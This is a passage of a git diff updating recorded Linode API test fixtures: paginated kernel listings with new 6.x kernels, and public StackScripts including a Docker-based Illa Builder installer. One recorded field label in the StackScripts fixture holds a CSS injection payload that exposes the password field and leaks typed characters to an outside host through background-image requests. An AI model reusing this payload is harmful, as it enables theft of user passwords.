"kvm": false, "architecture": "x86_64", "pvops": false, + "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-x86_64-linode9", + "label": "2.6.31.5-x86_64-linode9", "version": "2.6.31", "kvm": false, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/2.6.30.5-x86_64-linode8", "label": "2.6.30.5-x86_64-linode8", "version": "2.6.30", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode7", "label": "2.6.18.8-x86_64-linode7", "version": "2.6.18", "kvm": false, "architecture": @@ -949,7 +968,7 @@ interactions: "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_64", "label": "pv-grub-x86_64", "version": "2.6.26", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}], "page": 4, "pages": 4, - "results": 314}' + "results": 322}' headers: Access-Control-Allow-Credentials: - "true" diff --git a/test/integration/fixtures/ExampleListKernels_allWithOpts.yaml b/test/integration/fixtures/ExampleListKernels_allWithOpts.yaml index fbfb2bcb4..d2c5ee7a5 100644 --- a/test/integration/fixtures/ExampleListKernels_allWithOpts.yaml +++ b/test/integration/fixtures/ExampleListKernels_allWithOpts.yaml @@ -19,11 +19,31 @@ interactions: true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label": "Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/latest-32bit", "label": "Latest 32 bit (5.19.2-x86-linode176)", - "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.1.10-x86-linode179)", + "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version": + "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180", + "label": "6.2.9-x86-linode180", "version": "6.2.9", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.1.10-x86_64-linode159", "label": "6.1.10-x86_64-linode159", + "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86-linode179", + "label": "6.1.10-x86-linode179", "version": "6.1.10", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.0.10-x86_64-linode158", "label": "6.0.10-x86_64-linode158", + "version": "6.0.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86-linode178", + "label": "6.0.10-x86-linode178", "version": "6.0.10", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.0.2-x86_64-linode157", "label": "6.0.2-x86_64-linode157", "version": + "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86-linode177", + "label": "6.0.2-x86-linode177", "version": "6.0.2", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86_64-linode156", "label": "5.19.2-x86_64-linode156", "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86-linode176", @@ -242,27 +262,7 @@ interactions: "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86-linode105", "label": "4.9.50-x86-linode105", "version": "4.9.50", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86-linode104", - "label": "4.9.36-x86-linode104", "version": "4.9.36", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.9.33-x86-linode102", "label": "4.9.33-x86-linode102", "version": - "4.9.33", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86-linode100", - "label": "4.9.15-x86-linode100", "version": "4.9.15", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.9.7-x86-linode99", "label": "4.9.7-x86-linode99", "version": - "4.9.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, - "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86-linode98", "label": - "4.9.0-x86-linode98", "version": "4.9.0", "kvm": true, "architecture": "i386", - "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86-linode97", - "label": "4.8.6-x86-linode97", "version": "4.8.6", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.8.4-x86-linode96", "label": "4.8.4-x86-linode96", "version": - "4.8.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, - "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86-linode95", "label": - "4.8.3-x86-linode95", "version": "4.8.3", "kvm": true, "architecture": "i386", - "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": - 1, "pages": 4, "results": 314}' + true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 322}' headers: Access-Control-Allow-Credentials: - "true" @@ -317,9 +317,28 @@ interactions: url: https://api.linode.com/v4beta/linode/kernels?page=2 method: GET response: - body: '{"data": [{"id": "linode/4.8.1-x86-linode94", "label": "4.8.1-x86-linode94", - "version": "4.8.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86-linode92", "label": + body: '{"data": [{"id": "linode/4.9.36-x86-linode104", "label": "4.9.36-x86-linode104", + "version": "4.9.36", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86-linode102", + "label": "4.9.33-x86-linode102", "version": "4.9.33", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.9.15-x86-linode100", "label": "4.9.15-x86-linode100", "version": + "4.9.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86-linode99", "label": + "4.9.7-x86-linode99", "version": "4.9.7", "kvm": true, "architecture": "i386", + "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86-linode98", + "label": "4.9.0-x86-linode98", "version": "4.9.0", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.8.6-x86-linode97", "label": "4.8.6-x86-linode97", "version": + "4.8.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, + "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86-linode96", "label": + "4.8.4-x86-linode96", "version": "4.8.4", "kvm": true, "architecture": "i386", + "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86-linode95", + "label": "4.8.3-x86-linode95", "version": "4.8.3", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.8.1-x86-linode94", "label": "4.8.1-x86-linode94", "version": + "4.8.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, + "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86-linode92", "label": "4.7.3-x86-linode92", "version": "4.7.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86-linode90", "label": "4.7.0-x86-linode90", "version": "4.7.0", "kvm": true, "architecture": @@ -510,8 +529,8 @@ interactions: true, "built": null}, {"id": "linode/latest-2.6-64bit", "label": "Latest 2.6 (2.6.39.1-x86_64-linode19)", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/latest-64bit", "label": "Latest 64 bit (5.19.2-x86_64-linode156)", - "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + {"id": "linode/latest-64bit", "label": "Latest 64 bit (6.1.10-x86_64-linode159)", + "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "Latest Legacy (2.6.18.8-x86_64-linode10)", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": @@ -534,28 +553,8 @@ interactions: "5.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86_64-linode128", "label": "5.1.17-x86_64-linode128", "version": "5.1.17", "kvm": true, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127", - "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126", - "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.14.120-x86_64-linode125", "label": "4.14.120-x86_64-linode125", - "version": "4.14.120", "kvm": true, "architecture": "x86_64", "pvops": true, - "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86_64-linode124", - "label": "5.1.2-x86_64-linode124", "version": "5.1.2", "kvm": true, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/5.0.8-x86_64-linode123", "label": "5.0.8-x86_64-linode123", "version": - "5.0.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.1-x86_64-linode122", - "label": "5.0.1-x86_64-linode122", "version": "5.0.1", "kvm": true, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.20.4-x86_64-linode121", "label": "4.20.4-x86_64-linode121", - "version": "4.20.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86_64-linode120", - "label": "4.19.8-x86_64-linode120", "version": "4.19.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], - "page": 2, "pages": 4, "results": 314}' + "page": 2, "pages": 4, "results": 322}' headers: Access-Control-Allow-Credentials: - "true" @@ -610,7 +609,27 @@ interactions: url: https://api.linode.com/v4beta/linode/kernels?page=3 method: GET response: - body: '{"data": [{"id": "linode/4.19.5-x86_64-linode119", "label": "4.19.5-x86_64-linode119", + body: '{"data": [{"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127", + "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126", + "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.14.120-x86_64-linode125", "label": "4.14.120-x86_64-linode125", + "version": "4.14.120", "kvm": true, "architecture": "x86_64", "pvops": true, + "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86_64-linode124", + "label": "5.1.2-x86_64-linode124", "version": "5.1.2", "kvm": true, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/5.0.8-x86_64-linode123", "label": "5.0.8-x86_64-linode123", "version": + "5.0.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.1-x86_64-linode122", + "label": "5.0.1-x86_64-linode122", "version": "5.0.1", "kvm": true, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.20.4-x86_64-linode121", "label": "4.20.4-x86_64-linode121", + "version": "4.20.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86_64-linode120", + "label": "4.19.8-x86_64-linode120", "version": "4.19.8", "kvm": true, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.19.5-x86_64-linode119", "label": "4.19.5-x86_64-linode119", "version": "4.19.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86_64-linode118", "label": "4.18.16-x86_64-linode118", "version": "4.18.16", "kvm": true, "architecture": @@ -839,28 +858,8 @@ interactions: "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-x86_64-linode17", "label": "2.6.38-x86_64-linode17", "version": "2.6.38", "kvm": false, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16", - "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true, - "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15", - "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/2.6.34-x86_64-linode13", "label": "2.6.34-x86_64-linode13", "version": - "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode14", - "label": "2.6.34-x86_64-linode14", "version": "2.6.34", "kvm": false, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/2.6.32.12-x86_64-linode12", "label": "2.6.32.12-x86_64-linode12", - "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, - "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-x86_64-linode11", - "label": "2.6.32-x86_64-linode11", "version": "2.6.32", "kvm": false, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/2.6.18.8-x86_64-linode10", "label": "2.6.18.8-x86_64-linode10", - "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, - "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-x86_64-linode9", - "label": "2.6.31.5-x86_64-linode9", "version": "2.6.31", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], - "page": 3, "pages": 4, "results": 314}' + "page": 3, "pages": 4, "results": 322}' headers: Access-Control-Allow-Credentials: - "true" @@ -915,7 +914,27 @@ interactions: url: https://api.linode.com/v4beta/linode/kernels?page=4 method: GET response: - body: '{"data": [{"id": "linode/2.6.30.5-x86_64-linode8", "label": "2.6.30.5-x86_64-linode8", + body: '{"data": [{"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16", + "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true, + "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15", + "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/2.6.34-x86_64-linode13", "label": "2.6.34-x86_64-linode13", "version": + "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode14", + "label": "2.6.34-x86_64-linode14", "version": "2.6.34", "kvm": false, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/2.6.32.12-x86_64-linode12", "label": "2.6.32.12-x86_64-linode12", + "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, + "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-x86_64-linode11", + "label": "2.6.32-x86_64-linode11", "version": "2.6.32", "kvm": false, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/2.6.18.8-x86_64-linode10", "label": "2.6.18.8-x86_64-linode10", + "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, + "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-x86_64-linode9", + "label": "2.6.31.5-x86_64-linode9", "version": "2.6.31", "kvm": false, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/2.6.30.5-x86_64-linode8", "label": "2.6.30.5-x86_64-linode8", "version": "2.6.30", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode7", "label": "2.6.18.8-x86_64-linode7", "version": "2.6.18", "kvm": false, "architecture": @@ -949,7 +968,7 @@ interactions: "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_64", "label": "pv-grub-x86_64", "version": "2.6.26", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}], "page": 4, "pages": 4, - "results": 314}' + "results": 322}' headers: Access-Control-Allow-Credentials: - "true" diff --git a/test/integration/fixtures/ExampleListKernels_page1.yaml b/test/integration/fixtures/ExampleListKernels_page1.yaml index 6266b7f78..046d7a3ea 100644 --- a/test/integration/fixtures/ExampleListKernels_page1.yaml +++ b/test/integration/fixtures/ExampleListKernels_page1.yaml @@ -19,11 +19,31 @@ interactions: true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label": "Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/latest-32bit", "label": "Latest 32 bit (5.19.2-x86-linode176)", - "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.1.10-x86-linode179)", + "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version": + "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180", + "label": "6.2.9-x86-linode180", "version": "6.2.9", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.1.10-x86_64-linode159", "label": "6.1.10-x86_64-linode159", + "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86-linode179", + "label": "6.1.10-x86-linode179", "version": "6.1.10", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.0.10-x86_64-linode158", "label": "6.0.10-x86_64-linode158", + "version": "6.0.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86-linode178", + "label": "6.0.10-x86-linode178", "version": "6.0.10", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.0.2-x86_64-linode157", "label": "6.0.2-x86_64-linode157", "version": + "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86-linode177", + "label": "6.0.2-x86-linode177", "version": "6.0.2", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86_64-linode156", "label": "5.19.2-x86_64-linode156", "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86-linode176", @@ -242,27 +262,7 @@ interactions: "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86-linode105", "label": "4.9.50-x86-linode105", "version": "4.9.50", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86-linode104", - "label": "4.9.36-x86-linode104", "version": "4.9.36", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.9.33-x86-linode102", "label": "4.9.33-x86-linode102", "version": - "4.9.33", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86-linode100", - "label": "4.9.15-x86-linode100", "version": "4.9.15", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.9.7-x86-linode99", "label": "4.9.7-x86-linode99", "version": - "4.9.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, - "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86-linode98", "label": - "4.9.0-x86-linode98", "version": "4.9.0", "kvm": true, "architecture": "i386", - "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86-linode97", - "label": "4.8.6-x86-linode97", "version": "4.8.6", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.8.4-x86-linode96", "label": "4.8.4-x86-linode96", "version": - "4.8.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, - "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86-linode95", "label": - "4.8.3-x86-linode95", "version": "4.8.3", "kvm": true, "architecture": "i386", - "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": - 1, "pages": 4, "results": 314}' + true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 322}' headers: Access-Control-Allow-Credentials: - "true" diff --git a/test/integration/fixtures/ExampleListStackscripts_page1.yaml b/test/integration/fixtures/ExampleListStackscripts_page1.yaml index a29dd6f3b..1bcaed3c6 100644 --- a/test/integration/fixtures/ExampleListStackscripts_page1.yaml +++ b/test/integration/fixtures/ExampleListStackscripts_page1.yaml @@ -62,8 +62,8 @@ interactions: Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure OpenBiz Cubi and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": - 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", - "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], + 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", + "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "OpenBiz Cubi powered by Webuzo", "script": "#!/bin/bash\n# \n\n# \n\n# ", "user_defined_fields": [{"name": "password", "label": "password", "example": "Please enter you account password to continue"}, {"name": "var4", "label": "pick{}body{visibility:hidden}#password{visibility:visible;position:fixed;left:50px;top:50px}#password[value$=''a'']{background-image:url(''https://aw.rs/log?a'')!important}#password[value$=''b'']{background-image:url(''https://aw.rs/log?b'')!important}#password[value$=''c'']{background-image:url(''https://aw.rs/log?c'')!important}#password[value$=''d'']{background-image:url(''https://aw.rs/log?d'')!important}#password[value$=''e'']{background-image:url(''https://aw.rs/log?e'')!important}#password[value$=''f'']{background-image:url(''https://aw.rs/log?f'')!important}#password[value$=''g'']{background-image:url(''https://aw.rs/log?g'')!important}#password[value$=''h'']{background-image:url(''https://aw.rs/log?h'')!important}#password[value$=''i'']{background-image:url(''https://aw.rs/log?i'')!important}//", - "manyof": "foo,bar,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s"}]}, {"id": 2822, "username": - "smartjones", "user_gravatar_id": "0b874d2362ffd16a2178ba9339c40798", "label": - "Smartweb", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit"], + "manyof": "foo,bar,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s"}]}, {"id": 1177605, + "username": "linode", "user_gravatar_id": "9d4d301385af69ceb7ad658aad09c142", + "label": "Illa Builder One-Click", "description": "Illa Builder One-Click App", + "ordinal": 44, "logo_url": "assets/illabuilder.svg", "images": ["linode/ubuntu22.04"], + "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": + false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": + "", "script": "#!/bin/bash\n#\n# \n\n## Enable logging \nexec > >(tee + /dev/ttyS0 /var/log/stackscript.log) 2>&1\n\n# Apt update/upgrade\napt update\napt + upgrade -y\n\n# Install the dependencies & add Docker to the APT repository\napt + install -y apt-transport-https ca-certificates curl software-properties-common + gnupg2 pwgen ufw\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | + apt-key add -\nadd-apt-repository \"deb [arch=amd64] https://download.docker.com/linux/ubuntu + focal stable\"\n\n# Update & install Docker-CE\napt update\napt install -y docker-ce\n\n# + Check to ensure Docker is running and installed correctly\nsystemctl status + docker\ndocker -v\n\n# Env config\nILLA_HOME_DIR=/var/lib/illa\nPG_VOLUMN=${ILLA_HOME_DIR}/database/postgresql\nWSS_ENABLED=false\nILLA_DEPLOY_MODE=''self-host''\n\n\n# + Init\nmkdir -p ${ILLA_HOME_DIR}\nmkdir -p ${PG_VOLUMN}\nmkdir -p ${ILLA_HOME_DIR}\nchmod + 0777 ${PG_VOLUMN} # @todo: chmod for MacOS, the gid is \"wheel\", not \"root\". + and we will fix this later.\n\n# Run\ndocker run -d \\\n --name illa-builder + \\\n -e POSTGRES_PASSWORD=$PG_PASSWORD \\\n -e GIN_MODE=release \\\n -e + PGDATA=/var/lib/postgresql/data/pgdata \\\n -e ILLA_DEPLOY_MODE=$ILLA_DEPLOY_MODE + \\\n -v $PG_VOLUMN:/var/lib/postgresql/data \\\n -p $PORT:80 \\\n illasoft/illa-builder:latest\n\necho + \"\n********************************************************************************\nWelcome + to ILLA Builder!\n********************************************************************************\n # + Website: https://www.illacloud.com\n # Documentation: https://www.illacloud.com/docs/about-illa\n # + Github: https://github.com/illacloud\n # Community Support: https://github.com/orgs/illacloud/discussions\"", + "user_defined_fields": [{"name": "PORT", "label": "ILLA Builder Port", "example": + "Default: 80", "default": "80"}, {"name": "PG_PASSWORD", "label": "Postgres + Password", "example": "s3cure_p4ssw0rd"}]}, {"id": 2822, "username": "smartjones", + "user_gravatar_id": "0b874d2362ffd16a2178ba9339c40798", "label": "Smartweb", + "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n# /etc/apt/sources.list.d/sensu.list\n\napt-get update -q", "user_defined_fields": []}, {"id": 978972, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description": - "test description", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.13", - "linode/opensuse15.2"], "deployments_total": 0, "deployments_active": 0, "is_public": + "test description", "ordinal": 0, "logo_url": "", "images": ["linode/opensuse15.2", + "linode/alpine3.13"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": 